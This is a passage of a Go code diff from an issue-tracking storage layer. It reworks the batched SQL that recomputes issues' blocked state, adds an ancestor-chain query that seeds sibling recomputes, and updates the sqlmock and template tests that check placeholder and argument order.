fmt here. +// union to the batch (see shouldBeBlockedIDsUnionScopedPrecomputedSQL); its %s +// is filled with the batch placeholders by expandBatchTemplate, and by fmt +// here ONLY for the batch-scoped exogeneity read, which binds its own ids. const batchScopeSQL = "AND d.issue_id IN (%s)" -func markBlockedTemplateForIssues() string { - return markBlockedTemplate("issues", "i", "dependencies") +// blockedTableSpec names the one table a batched mark/unmark pass runs over. +// The batched statements are now built per batch (the exogeneity ids are), so +// the runner takes the table rather than a finished template. +type blockedTableSpec struct { + table, alias, depTable string } -func unmarkBlockedTemplateForIssues() string { - return unmarkBlockedTemplate("issues", "i", "dependencies") +var ( + issuesBlockedSpec = blockedTableSpec{table: "issues", alias: "i", depTable: "dependencies"} + wispsBlockedSpec = blockedTableSpec{table: "wisps", alias: "w", depTable: "wisp_dependencies"} +) + +func markBlockedTemplateForIssues(explained subtreeExplainedParents) string { + return markBlockedTemplate(issuesBlockedSpec, explained) } -func markBlockedTemplateForWisps() string { - return markBlockedTemplate("wisps", "w", "wisp_dependencies") +func unmarkBlockedTemplateForIssues(explained subtreeExplainedParents) string { + return unmarkBlockedTemplate(issuesBlockedSpec, explained) } -func unmarkBlockedTemplateForWisps() string { - return unmarkBlockedTemplate("wisps", "w", "wisp_dependencies") +func markBlockedTemplateForWisps(explained subtreeExplainedParents) string { + return markBlockedTemplate(wispsBlockedSpec, explained) +} + +func unmarkBlockedTemplateForWisps(explained subtreeExplainedParents) string { + return unmarkBlockedTemplate(wispsBlockedSpec, explained) } // markBlockedTemplate is the batched mark statement for one table: the @@ -290,64 +329,106 @@ func unmarkBlockedTemplateForWisps() string { // batch's own dependency rows, so `.id IN (union)` is exactly the // old correlated disjunction for every id in the batch. // -//nolint:gosec // G201: table, alias, and depTable are constants from the four callers above. -func markBlockedTemplate(table, alias, depTable string) string { +//nolint:gosec // G201: the spec's fields are constants from the four callers above. +func markBlockedTemplate(spec blockedTableSpec, explained subtreeExplainedParents) string { return fmt.Sprintf(` UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 1, %[2]s.updated_at = %[2]s.updated_at WHERE %[2]s.id IN (%%s) AND %[2]s.is_blocked = 0 AND %[2]s.status <> 'closed' AND %[2]s.status <> 'pinned' AND %[2]s.id IN (%[3]s) - `, table, alias, shouldBeBlockedIDsUnionScopedSQL(depTable, batchScopeSQL)) + `, spec.table, spec.alias, + shouldBeBlockedIDsUnionScopedPrecomputedSQL(spec.depTable, batchScopeSQL, explained)) } // unmarkBlockedTemplate is the batched unmark statement for one table: the // batch-scoped analog of unmarkAllBlockedSQL. NOT IN is null-hostile; the // union's d.issue_id IS NOT NULL guards keep it total. // -//nolint:gosec // G201: table, alias, and depTable are constants from the four callers above. -func unmarkBlockedTemplate(table, alias, depTable string) string { +//nolint:gosec // G201: the spec's fields are constants from the four callers above. +func unmarkBlockedTemplate(spec blockedTableSpec, explained subtreeExplainedParents) string { return fmt.Sprintf(` UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 0, %[2]s.updated_at = %[2]s.updated_at WHERE %[2]s.id IN (%%s) AND %[2]s.is_blocked = 1 AND ( %[2]s.status = 'closed' OR %[2]s.status = 'pinned' OR %[2]s.id NOT IN (%[3]s) ) - `, table, alias, shouldBeBlockedIDsUnionScopedSQL(depTable, batchScopeSQL)) + `, spec.table, spec.alias, + shouldBeBlockedIDsUnionScopedPrecomputedSQL(spec.depTable, batchScopeSQL, explained)) } -// expandBatchTemplate fills every %s in a batched template with the same -// IN-list placeholders and repeats the bound ids once per occurrence, in -// order. Templates carry the batch list in the outer row filter and in each -// leg of the scoped union (six occurrences today); a template with a single -// %s degrades to the plain Sprintf it always was. The count is textual, so a -// template must contain no other percent sign (no LIKE 'x%' pattern, no %%) -// and at least one %s — a template with none is a programmer error that -// surfaces as an %!(EXTRA …) syntax error at exec. +// expandBatchTemplate finishes a batched template: every %s takes the batch's +// IN-list placeholders, and the args come out in the order the finished +// statement reads them — the batch ids once per %s, and the already-rendered +// ? placeholders the template carries (the two parent-child legs' exogeneity +// ids, see notInPlaceholders) interleaved where they actually appear. +// +// TEXT ORDER is the whole contract, and it is why this walks the template +// instead of counting: the batch scope and the exogeneity ids alternate inside +// the union (leg 3's scope, leg 3's NOT IN, leg 4's scope, leg 4's NOT IN), so +// no amount of counting says where a bound group goes. A template with one %s +// and no ? degrades to the plain Sprintf it always was. +// +// The count is textual, so a template must contain no percent sign that is not +// one of the %s verbs (no LIKE 'x%' pattern, no %%) and no ? of its own beyond +// the bound group — both pinned by blocked_state_template_test.go. A mismatch +// between the ? count and the bound ids is a programmer error and is returned +// as one rather than sent to the engine, where it would surface as an opaque +// argument-count error. // //nolint:gosec // G201: tmpl is a constant template; only IN-clause placeholders are formatted in. -func expandBatchTemplate(tmpl, placeholders string, args []interface{}) (string, []interface{}) { - n := strings.Count(tmpl, "%s") - if n <= 1 { - return fmt.Sprintf(tmpl, placeholders), args +func expandBatchTemplate( + tmpl, placeholders string, args, bound []interface{}, +) (string, []interface{}, error) { + var fills []interface{} + out := make([]interface{}, 0, len(args)+len(bound)) + next := 0 + for i := 0; i < len(tmpl); i++ { + switch { + case tmpl[i] == '%' && i+1 < len(tmpl) && tmpl[i+1] == 's': + fills = append(fills, placeholders) + out = append(out, args...) + i++ + case tmpl[i] == '?': + if next < len(bound) { + out = append(out, bound[next]) + } + next++ + } } - fills := make([]interface{}, n) - expanded := make([]interface{}, 0, n*len(args)) - for k := range fills { - fills[k] = placeholders - expanded = append(expanded, args...) + if next != len(bound) { + return "", nil, fmt.Errorf( + "batched template carries %d ? placeholders, want %d bound ids", next, len(bound)) } - return fmt.Sprintf(tmpl, fills...), expanded + return fmt.Sprintf(tmpl, fills...), out, nil } func markIsBlockedPassForWispsInTx(ctx context.Context, tx DBTX, ids []string) (int64, error) { if len(ids) == 0 { return 0, nil } - return runMarkBatchedInTx(ctx, tx, markBlockedTemplateForWisps(), ids) + return runMarkBatchedInTx(ctx, tx, wispsBlockedSpec, ids) } -func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl string, ids []string) (int64, error) { +// batchExogeneity reads the batch-scoped exogeneity set for one chunk of ids: +// ONE read for the chunk, shared by the chunk's mark and its unmark. +// +// It is read before the mark, so the unmark sees the set as it was at the top +// of the chunk. That is the same staleness the unbatched full repair accepts +// (one read per PASS, see recomputeIsBlockedCounting), and it is safe for the +// same reason: both callers are fixpoint loops that stop only on a pass that +// changes NO rows, and on that pass the set was read against the state the +// pass ends in. So the state the loop converges to satisfies both predicates +// under the set derived from that very state; a stale read can only cost an +// extra pass, never a wrong fixpoint. +func batchExogeneity( + ctx context.Context, tx DBTX, spec blockedTableSpec, placeholders string, args []interface{}, +) (subtreeExplainedParents, error) { + return scopedExplainedParentsInTx(ctx, tx, spec.depTable, + fmt.Sprintf(batchScopeSQL, placeholders), args) +} + +func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, spec blockedTableSpec, ids []string) (int64, error) { var changed int64 for start := 0; start < len(ids); start += queryBatchSize { end := start + queryBatchSize @@ -355,8 +436,16 @@ func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl end = len(ids) } placeholders, args := buildSQLInClause(ids[start:end]) + explained, err := batchExogeneity(ctx, tx, spec, placeholders, args) + if err != nil { + return changed, fmt.Errorf("recompute is_blocked (exogeneity): %w", err) + } - stmt, stmtArgs := expandBatchTemplate(markTmpl, placeholders, args) + stmt, stmtArgs, err := expandBatchTemplate( + markBlockedTemplate(spec, explained), placeholders, args, explained.args()) + if err != nil { + return changed, fmt.Errorf("recompute is_blocked (mark): %w", err) + } res, err := tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (mark): %w", err) @@ -367,7 +456,11 @@ func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl } changed += n - stmt, stmtArgs = expandBatchTemplate(unmarkTmpl, placeholders, args) + stmt, stmtArgs, err = expandBatchTemplate( + unmarkBlockedTemplate(spec, explained), placeholders, args, explained.args()) + if err != nil { + return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) + } res, err = tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) @@ -395,19 +488,19 @@ type recomputeChunk struct { // RecomputeIsBlockedInTxWithResult call: the fixpoint loop writes only // is_blocked, never dependency rows, so the split holds for every pass. type recomputePlan struct { - table, markTmpl, unmarkTmpl string - chunks []recomputeChunk + spec blockedTableSpec + chunks []recomputeChunk } // planRecomputeInTx chunks ids exactly as runMarkUnmarkBatchedInTx would and -// splits each chunk by whether depTable holds a row with that id as its +// splits each chunk by whether spec.depTable holds a row with that id as its // issue_id. // // Every leg of the should-be-blocked union the mark/unmark templates probe is -// scoped to `d.issue_id IN (batch)` on depTable -// (shouldBeBlockedIDsUnionScopedSQL), so an id with no depTable row of its own -// is never in that union: mark cannot select it, and unmark reduces to -// "is_blocked = 1 -> 0". Those ids — every freshly created issue without +// scoped to `d.issue_id IN (batch)` on spec.depTable +// (shouldBeBlockedIDsUnionScopedPrecomputedSQL), so an id with no row of its +// own there is never in that union: mark cannot select it, and unmark reduces +// to "is_blocked = 1 -> 0". Those ids — every freshly created issue without // edges, which is most of what a large create or apply-batch recomputes — // need not ride the two union statements, whose cost grows with the table. // @@ -416,14 +509,14 @@ type recomputePlan struct { // the create paths) or when the chunk is large; the single-issue recomputes of // close, reopen, update and dependency edits keep exactly the statements they // ran before the shortcut existed. -func planRecomputeInTx(ctx context.Context, tx DBTX, table, depTable, markTmpl, unmarkTmpl string, ids []string, splitEdgeless bool) (recomputePlan, error) { - plan := recomputePlan{table: table, markTmpl: markTmpl, unmarkTmpl: unmarkTmpl} +func planRecomputeInTx(ctx context.Context, tx DBTX, spec blockedTableSpec, ids []string, splitEdgeless bool) (recomputePlan, error) { + plan := recomputePlan{spec: spec} for start := 0; start < len(ids); start += queryBatchSize { end := min(start+queryBatchSize, len(ids)) chunk := recomputeChunk{withEdges: ids[start:end]} if !createFastPathsDisabled.Load() && (splitEdgeless || end-start >= recomputeSplitMinChunk) { var err error - chunk.withEdges, chunk.edgeless, err = splitByOwnDependencyRowsInTx(ctx, tx, depTable, ids[start:end]) + chunk.withEdges, chunk.edgeless, err = splitByOwnDependencyRowsInTx(ctx, tx, spec.depTable, ids[start:end]) if err != nil { return plan, err } @@ -433,20 +526,27 @@ func planRecomputeInTx(ctx context.Context, tx DBTX, table, depTable, markTmpl, return plan, nil } -// runPassInTx is one fixpoint pass over the plan, statement-for-statement -// equivalent to runMarkUnmarkBatchedInTx over the plan's full ids. Per chunk: -// the mark and unmark templates run over the ids with edges — the union, scoped -// to them, holds exactly what it held scoped to the whole chunk — and then, on -// the first pass only, a plain unmark clears the edgeless ids. It runs after -// both templates so their unions see the edgeless rows' pre-pass is_blocked, -// as they did when those rows were cleared by the chunk's own unmark -// statement; on later passes it would match no row (nothing marks an edgeless -// id), so it is skipped. -func (p recomputePlan) runPassInTx(ctx context.Context, tx DBTX, firstPass bool) (int64, error) { +// runRecomputePassInTx is one fixpoint pass over the plan, +// statement-for-statement equivalent to runMarkUnmarkBatchedInTx over the +// plan's full ids. Per chunk: the mark and unmark templates run over the ids +// with edges — the union, scoped to them, holds exactly what it held scoped to +// the whole chunk, and so does the batch's exogeneity read (an edgeless id +// names no parent) — and then, on the first pass only, a plain unmark clears +// the edgeless ids. It runs after both templates so their unions see the +// edgeless rows' pre-pass is_blocked, as they did when those rows were cleared +// by the chunk's own unmark statement; on later passes it would match no row +// (nothing marks an edgeless id), so it is skipped. +// +// It is a function rather than a method on recomputePlan because the +// structural write guards follow bare-identifier calls only: as a method, the +// mark/unmark DML it reaches would be invisible from the exported recompute +// entry points, and their versionExemptions entries would read as stale +// (TestEveryBeadMutatorMintsOrIsExempt). +func runRecomputePassInTx(ctx context.Context, tx DBTX, p recomputePlan, firstPass bool) (int64, error) { var changed int64 for _, chunk := range p.chunks { if len(chunk.withEdges) > 0 { - n, err := runMarkUnmarkBatchedInTx(ctx, tx, p.markTmpl, p.unmarkTmpl, chunk.withEdges) + n, err := runMarkUnmarkBatchedInTx(ctx, tx, p.spec, chunk.withEdges) changed += n if err != nil { return changed, err @@ -460,7 +560,7 @@ func (p recomputePlan) runPassInTx(ctx context.Context, tx DBTX, firstPass bool) res, err := tx.ExecContext(ctx, fmt.Sprintf(` UPDATE %[1]s t SET t.is_blocked = 0, t.updated_at = t.updated_at WHERE t.id IN (%[2]s) AND t.is_blocked = 1 - `, p.table, placeholders), args...) + `, p.spec.table, placeholders), args...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) } @@ -507,7 +607,7 @@ func splitByOwnDependencyRowsInTx(ctx context.Context, tx DBTX, depTable string, return withEdges, withoutEdges, nil } -func runMarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl string, ids []string) (int64, error) { +func runMarkBatchedInTx(ctx context.Context, tx DBTX, spec blockedTableSpec, ids []string) (int64, error) { var changed int64 for start := 0; start < len(ids); start += queryBatchSize { end := start + queryBatchSize @@ -515,8 +615,16 @@ func runMarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl string, ids []str end = len(ids) } placeholders, args := buildSQLInClause(ids[start:end]) + explained, err := batchExogeneity(ctx, tx, spec, placeholders, args) + if err != nil { + return changed, fmt.Errorf("mark is_blocked (exogeneity): %w", err) + } - stmt, stmtArgs := expandBatchTemplate(markTmpl, placeholders, args) + stmt, stmtArgs, err := expandBatchTemplate( + markBlockedTemplate(spec, explained), placeholders, args, explained.args()) + if err != nil { + return changed, fmt.Errorf("mark is_blocked: %w", err) + } res, err := tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("mark is_blocked: %w", err) @@ -582,6 +690,9 @@ func AffectedByDepChangeInTx(ctx context.Context, tx DBTX, source, target string if err := loadWaitersOnSpawnerIDsInTx(ctx, tx, []string{target}, &issueSeed, issueSeen, &wispSeed, wispSeen); err != nil { return nil, nil, err } + if err := appendSiblingsUnderAncestorsInTx(ctx, tx, target, &issueSeed, issueSeen, &wispSeed, wispSeen); err != nil { + return nil, nil, err + } } return expandByParentChildDescendantsInTx(ctx, tx, issueSeed, wispSeed, issueSeen, wispSeen) default: @@ -600,6 +711,9 @@ func AffectedByDepChangeForWispInTx(ctx context.Context, tx DBTX, source, target if err := loadWaitersOnSpawnerIDsInTx(ctx, tx, []string{target}, &issueSeed, issueSeen, &wispSeed, wispSeen); err != nil { return nil, nil, err } + if err := appendSiblingsUnderAncestorsInTx(ctx, tx, target, &issueSeed, issueSeen, &wispSeed, wispSeen); err != nil { + return nil, nil, err + } } return expandByParentChildDescendantsInTx(ctx, tx, issueSeed, wispSeed, issueSeen, wispSeen) default: @@ -607,6 +721,120 @@ func AffectedByDepChangeForWispInTx(ctx context.Context, tx DBTX, source, target } } +// appendSiblingsUnderAncestorsInTx seeds every existing parent-child child of +// parent AND of each of parent's own ancestors (of either kind) for recompute. +// +// A parent-child edge onto a parent that BLOCKS on the new child reclassifies +// that blocking reason from exogenous to subtree-derived, and the cascade legs +// propagate only exogenous blockedness (gastownhall/beads#6506, +// parentsExplainedBySubtreeSQL). So writing or removing one edge can flip the +// answer for the parent's OTHER children, which no other seed in this walk +// reaches: the close-gate epic is built one child at a time, and the second +// edge is what un-darkens the first child. +// +// The walk goes all the way UP because the exogeneity test is over the whole +// SUBTREE, not over direct children. Hanging G under C changes nothing about C +// but everything about any ANCESTOR of C that blocks on G: that reason just +// moved inside its subtree, so the ancestor stops darkening its own children. +// The reviewer's depth-2 lock is exactly this shape (P blocks G; pc C -> P, +// C2 -> P, G -> C), and only P's sibling set — not C's — carries the flip. +// Seeding each ancestor's whole sibling set, which +// expandByParentChildDescendantsInTx then expands to their subtrees, is what +// keeps the incremental write path agreeing with the full repair. +func appendSiblingsUnderAncestorsInTx( + ctx context.Context, tx DBTX, + parent string, + issueSeed *[]string, issueSeen map[string]bool, + wispSeed *[]string, wispSeen map[string]bool, +) error { + parents, err := ancestorChainInTx(ctx, tx, parent) + if err != nil { + return err + } + if len(parents) == 0 { + return nil + } + // The parents' own kinds are not known here, so probe both target columns; + // the one that does not match a parent simply returns no rows. + for _, w := range []struct { + depTable, parentCol string + seed *[]string + seen map[string]bool + }{ + {"dependencies", "depends_on_issue_id", issueSeed, issueSeen}, + {"wisp_dependencies", "depends_on_issue_id", wispSeed, wispSeen}, + {"dependencies", "depends_on_wisp_id", issueSeed, issueSeen}, + {"wisp_dependencies", "depends_on_wisp_id", wispSeed, wispSeen}, + } { + if err := appendChildrenInTx(ctx, tx, w.depTable, w.parentCol, parents, w.seen, w.seed); err != nil { + return err + } + } + return nil +} + +// ancestorChainInTx returns id, plus every parent-child ancestor of id THAT +// CARRIES A BLOCKING REASON OF ITS OWN — a dependency row that is not +// parent-child. Order is not meaningful. +// +// The filter is what keeps the walk from being quadratic. Only an ancestor +// that holds a blocking reason can have that reason reclassified by an edge +// below it, so only such an ancestor's children can flip; an ancestor with +// nothing but hierarchy edges contributes seeds that can never change. Without +// the filter a 70-deep chain reseeds every ancestor's subtree on every edge +// written into it, which is O(depth x size) per write and times out. +// +// It walks with isAncestorInTx's own recursive members (reachabilityMembers in +// dependencies.go): one per dependency table, each an index probe on issue_id +// pinned by join hints, merged by UNION distinct, so a malformed diamond or +// cycle in the hierarchy terminates by unique reachable node rather than +// running away. The members project NULL for a row that is not parent-child, +// which the outer filter drops. Joining the frontier to a derived UNION of the +// two tables instead, this walk's first shape, is the scan #7224 removed from +// isAncestorInTx (minutes per walk at 100k edges), and it runs here on every +// parent-child write and merge replay. TestGraphWalkPlansHonorJoinHints +// (embedded) pins the lookup plan. +// +//nolint:gosec // G201: the members are built from constant table names and type filters. +func ancestorChainInTx(ctx context.Context, tx DBTX, id string) ([]string, error) { + if id == "" { + return nil, nil + } + query := fmt.Sprintf(` + WITH RECURSIVE ancestors(node) AS ( + SELECT ? + UNION + %s + ) + SELECT node FROM ancestors + WHERE node IS NOT NULL + AND ( node = ? + OR EXISTS (SELECT 1 FROM dependencies x + WHERE x.issue_id = ancestors.node AND x.type <> 'parent-child') + OR EXISTS (SELECT 1 FROM wisp_dependencies x + WHERE x.issue_id = ancestors.node AND x.type <> 'parent-child') ) + `, reachabilityMembers("ancestors", cycleDetectionTables(), "d.type = 'parent-child'")) + + rows, err := tx.QueryContext(ctx, query, id, id) + if err != nil { + return nil, fmt.Errorf("load ancestor chain of %s: %w", id, err) + } + defer func() { _ = rows.Close() }() + + var out []string + for rows.Next() { + var node string + if err := rows.Scan(&node); err != nil { + return nil, fmt.Errorf("scan ancestor chain of %s: %w", id, err) + } + out = append(out, node) + } + if err := rows.Err(); err != nil { + return nil, fmt.Errorf("ancestor chain rows for %s: %w", id, err) + } + return out, nil +} + func loadBlockingDependersInTx( ctx context.Context, tx DBTX, targetCol, id string, diff --git a/internal/storage/issueops/blocked_state_result_test.go b/internal/storage/issueops/blocked_state_result_test.go index 37d602a2d..50d243b7d 100644 --- a/internal/storage/issueops/blocked_state_result_test.go +++ b/internal/storage/issueops/blocked_state_result_test.go @@ -25,6 +25,19 @@ func newBlockedStateResultMock(t *testing.T) (sqlmock.Sqlmock, DBTX) { return mock, db } +// expectBatchExogeneityRead is the batch-scoped exogeneity read every batched +// pass now runs before its statements: first the parent-kind guard, and then +// one read per kind the batch actually names. Answering the guard with no +// parents of either kind is also the pin on the guard itself — a batch with no +// parent-child row must not run either read. +// +// Ordered before the execs because sqlmock is ordered and the runner reads +// once per batch, then binds the ids into both statements. +func expectBatchExogeneityRead(mock sqlmock.Sqlmock, depTable string) { + mock.ExpectQuery(regexp.QuoteMeta("SELECT COUNT(d.depends_on_issue_id), COUNT(d.depends_on_wisp_id)")). + WillReturnRows(sqlmock.NewRows([]string{"issue_parents", "wisp_parents"}).AddRow(0, 0)) +} + // expectOwnEdgesProbe expects planRecomputeInTx's probe of depTable and // answers that every id in withEdges has a dependency row of its own. func expectOwnEdgesProbe(mock sqlmock.Sqlmock, depTable string, withEdges ...string) { @@ -37,12 +50,20 @@ func expectOwnEdgesProbe(mock sqlmock.Sqlmock, depTable string, withEdges ...str } func expectBlockedStatePass(mock sqlmock.Sqlmock, table, alias string, mark, unmark driver.Result) { + expectBatchExogeneityRead(mock, blockedSpecFor(table).depTable) mock.ExpectExec(regexp.QuoteMeta("UPDATE " + table + " " + alias + " SET " + alias + ".is_blocked = 1")). WillReturnResult(mark) mock.ExpectExec(regexp.QuoteMeta("UPDATE " + table + " " + alias + " SET " + alias + ".is_blocked = 0")). WillReturnResult(unmark) } +func blockedSpecFor(table string) blockedTableSpec { + if table == "wisps" { + return wispsBlockedSpec + } + return issuesBlockedSpec +} + func TestRecomputeIsBlockedInTxWithResult(t *testing.T) { t.Run("issue rows changed", func(t *testing.T) { mock, db := newBlockedStateResultMock(t) @@ -94,6 +115,7 @@ func TestRunMarkUnmarkBatchedInTxPropagatesRowsAffectedErrors(t *testing.T) { for _, phase := range []string{"mark", "unmark"} { t.Run(phase, func(t *testing.T) { mock, db := newBlockedStateResultMock(t) + expectBatchExogeneityRead(mock, "dependencies") if phase == "mark" { mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 1")). WillReturnResult(sqlmock.NewErrorResult(sentinel)) @@ -105,7 +127,7 @@ func TestRunMarkUnmarkBatchedInTxPropagatesRowsAffectedErrors(t *testing.T) { } _, err := runMarkUnmarkBatchedInTx( - context.Background(), db, markBlockedTemplateForIssues(), unmarkBlockedTemplateForIssues(), []string{"issue-1"}, + context.Background(), db, issuesBlockedSpec, []string{"issue-1"}, ) if !errors.Is(err, sentinel) { t.Fatalf("err = %v, want rows-affected error", err) @@ -126,6 +148,7 @@ func TestRecomputeIsBlockedSkipsUnionForIDsWithoutEdges(t *testing.T) { expectOwnEdgesProbe(mock, "dependencies", "issue-2") // Pass 1: the union statements over the id with edges, then the plain // unmark over the edgeless ids. + expectBatchExogeneityRead(mock, "dependencies") mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 1")). WillReturnResult(sqlmock.NewResult(0, 1)) mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 0")). @@ -134,6 +157,7 @@ func TestRecomputeIsBlockedSkipsUnionForIDsWithoutEdges(t *testing.T) { WithArgs("issue-1", "issue-3"). WillReturnResult(sqlmock.NewResult(0, 1)) // Pass 2: only the id with edges. + expectBatchExogeneityRead(mock, "dependencies") mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 1")). WillReturnResult(sqlmock.NewResult(0, 0)) mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 0")). diff --git a/internal/storage/issueops/blocked_state_template_test.go b/internal/storage/issueops/blocked_state_template_test.go index b3c7de7ed..e59c7e251 100644 --- a/internal/storage/issueops/blocked_state_template_test.go +++ b/internal/storage/issueops/blocked_state_template_test.go @@ -6,35 +6,51 @@ import ( ) // The batched mark/unmark templates reach the engine through -// expandBatchTemplate, which decides how many IN-lists to splice by counting -// "%s" textually. Two things are therefore load-bearing and invisible to the -// sqlmock suite next door — its expectations match an unanchored statement +// expandBatchTemplate, which fills the batch IN-lists by walking the template +// for "%s" and interleaves the exogeneity ids the template already carries as +// "?" placeholders. Three things are therefore load-bearing and invisible to +// the sqlmock suite next door — its expectations match an unanchored statement // prefix and never assert bound args, so it stays green against a miscounted -// template: the occurrence count itself, and the absence of any other percent -// sign in the finished template (a future LIKE 'x%' or %d in a union leg would -// shift the count or corrupt the statement). Today a break surfaces only in the -// container-backed dolt suite; these tests pin it at the fast tier -// (gastownhall/beads#6291). +// template: the %s occurrence count, the absence of any other percent sign in +// the finished template (a future LIKE 'x%' or %d in a union leg would shift +// the count or corrupt the statement), and the absence of any "?" the caller +// did not bind. Today a break surfaces only in the container-backed dolt +// suite; these tests pin it at the fast tier (gastownhall/beads#6291). -// batchTemplateOccurrences is the number of IN-lists a batched template -// carries: the outer row filter, plus one per leg of the scoped +// batchTemplateOccurrences is the number of batch IN-lists a batched template +// carries: the outer row filter, and one per leg of the scoped // should-be-blocked union. +// +// It was briefly 8: the parent-child legs' exogeneity set was spliced as the +// query that derives it, and that query carried the batch scope twice more. +// The set is now read once per batch and bound as ids +// (scopedExplainedParentsInTx), which is both 6.9x faster on a 200-id batch +// and why the ? group below exists. const batchTemplateOccurrences = 6 -func batchedTemplates() map[string]string { +// explainedFixture is a non-empty exogeneity set of each kind, so the bound-? +// plumbing is exercised rather than degenerating to the empty case. +func explainedFixture() subtreeExplainedParents { + return subtreeExplainedParents{ + issueParents: []string{"parent-1", "parent-2"}, + wispParents: []string{"wisp-parent-1"}, + } +} + +func batchedTemplates(explained subtreeExplainedParents) map[string]string { return map[string]string{ - "markBlockedTemplateForIssues": markBlockedTemplateForIssues(), - "unmarkBlockedTemplateForIssues": unmarkBlockedTemplateForIssues(), - "markBlockedTemplateForWisps": markBlockedTemplateForWisps(), - "unmarkBlockedTemplateForWisps": unmarkBlockedTemplateForWisps(), + "markBlockedTemplateForIssues": markBlockedTemplateForIssues(explained), + "unmarkBlockedTemplateForIssues": unmarkBlockedTemplateForIssues(explained), + "markBlockedTemplateForWisps": markBlockedTemplateForWisps(explained), + "unmarkBlockedTemplateForWisps": unmarkBlockedTemplateForWisps(explained), } } func TestBatchedTemplatePercentBudget(t *testing.T) { - for name, tmpl := range batchedTemplates() { + for name, tmpl := range batchedTemplates(explainedFixture()) { t.Run(name, func(t *testing.T) { if got := strings.Count(tmpl, "%s"); got != batchTemplateOccurrences { - t.Errorf("%%s count = %d, want %d — expandBatchTemplate binds one id group per occurrence, so a changed count must be a deliberate edit here", got, batchTemplateOccurrences) + t.Errorf("%%s count = %d, want %d — expandBatchTemplate binds one batch id group per occurrence, so a changed count must be a deliberate edit here", got, batchTemplateOccurrences) } // The stray-percent guard: every percent sign in the finished // template must belong to one of the %s verbs counted above. @@ -45,21 +61,51 @@ func TestBatchedTemplatePercentBudget(t *testing.T) { } } -func TestWaitsForGateBlockedSQLCarriesNoPercent(t *testing.T) { +// TestBatchedTemplateQuestionMarksAreTheExogeneitySet pins the other half of +// expandBatchTemplate's contract: the ONLY ? a template carries are the two +// parent-child legs' bound exogeneity ids, so an empty set leaves none. +func TestBatchedTemplateQuestionMarksAreTheExogeneitySet(t *testing.T) { + explained := explainedFixture() + want := len(explained.issueParents) + len(explained.wispParents) + for name, tmpl := range batchedTemplates(explained) { + t.Run(name, func(t *testing.T) { + if got := strings.Count(tmpl, "?"); got != want { + t.Errorf("? count = %d, want %d (the bound exogeneity ids)", got, want) + } + }) + } + for name, tmpl := range batchedTemplates(subtreeExplainedParents{}) { + t.Run(name+"/empty", func(t *testing.T) { + if got := strings.Count(tmpl, "?"); got != 0 { + t.Errorf("? count = %d over an empty exogeneity set, want 0", got) + } + }) + } +} + +func TestWaitsForGateBlockedSQLCarriesNoPercentOrPlaceholder(t *testing.T) { // The gate is spliced into every template as a resolved constant, so any - // percent sign it grew would land in the counted text above. + // percent sign or placeholder it grew would land in the counted text above. if got := strings.Count(waitsForGateBlockedSQL, "%"); got != 0 { t.Errorf("waitsForGateBlockedSQL %% count = %d, want 0", got) } + if got := strings.Count(waitsForGateBlockedSQL, "?"); got != 0 { + t.Errorf("waitsForGateBlockedSQL ? count = %d, want 0", got) + } } func TestExpandBatchTemplateFillsEveryOccurrence(t *testing.T) { placeholders, args := buildSQLInClause([]string{"issue-1", "issue-2"}) - wantArgs := batchTemplateOccurrences * len(args) + explained := explainedFixture() + bound := explained.args() + wantArgs := batchTemplateOccurrences*len(args) + len(bound) - for name, tmpl := range batchedTemplates() { + for name, tmpl := range batchedTemplates(explained) { t.Run(name, func(t *testing.T) { - stmt, stmtArgs := expandBatchTemplate(tmpl, placeholders, args) + stmt, stmtArgs, err := expandBatchTemplate(tmpl, placeholders, args, bound) + if err != nil { + t.Fatalf("expandBatchTemplate: %v", err) + } if strings.ContainsAny(stmt, "%") { t.Errorf("expanded statement still contains %%: %s", stmt) @@ -70,21 +116,53 @@ func TestExpandBatchTemplateFillsEveryOccurrence(t *testing.T) { if got := len(stmtArgs); got != wantArgs { t.Fatalf("arg count = %d, want %d — placeholders and args must stay in lockstep", got, wantArgs) } - // Each occurrence gets the same group, repeated in order. + // TEXT ORDER: the batch group for the outer filter and legs 1-2, + // then leg 3's batch group followed by the issue parents, then leg + // 4's batch group followed by the wisp parents, then leg 5's. + var want []interface{} + for k := 0; k < batchTemplateOccurrences; k++ { + want = append(want, args...) + if k == 3 { + want = append(want, "parent-1", "parent-2") + } + if k == 4 { + want = append(want, "wisp-parent-1") + } + } for i, arg := range stmtArgs { - if want := args[i%len(args)]; arg != want { - t.Errorf("arg %d = %v, want %v", i, arg, want) + if arg != want[i] { + t.Errorf("arg %d = %v, want %v", i, arg, want[i]) } } }) } } +// TestExpandBatchTemplateRefusesABoundMismatch is the guard that keeps a +// miscounted bound group from reaching the engine as an opaque argument-count +// error: the template's ? placeholders and the bound ids must agree exactly. +func TestExpandBatchTemplateRefusesABoundMismatch(t *testing.T) { + placeholders, args := buildSQLInClause([]string{"issue-1"}) + tmpl := markBlockedTemplateForIssues(subtreeExplainedParents{issueParents: []string{"parent-1"}}) + + if _, _, err := expandBatchTemplate(tmpl, placeholders, args, nil); err == nil { + t.Error("want an error when the template carries a ? the caller did not bind") + } + if _, _, err := expandBatchTemplate( + tmpl, placeholders, args, []interface{}{"parent-1", "parent-2"}); err == nil { + t.Error("want an error when the caller binds more ids than the template carries") + } +} + func TestExpandBatchTemplateSingleOccurrenceDegrades(t 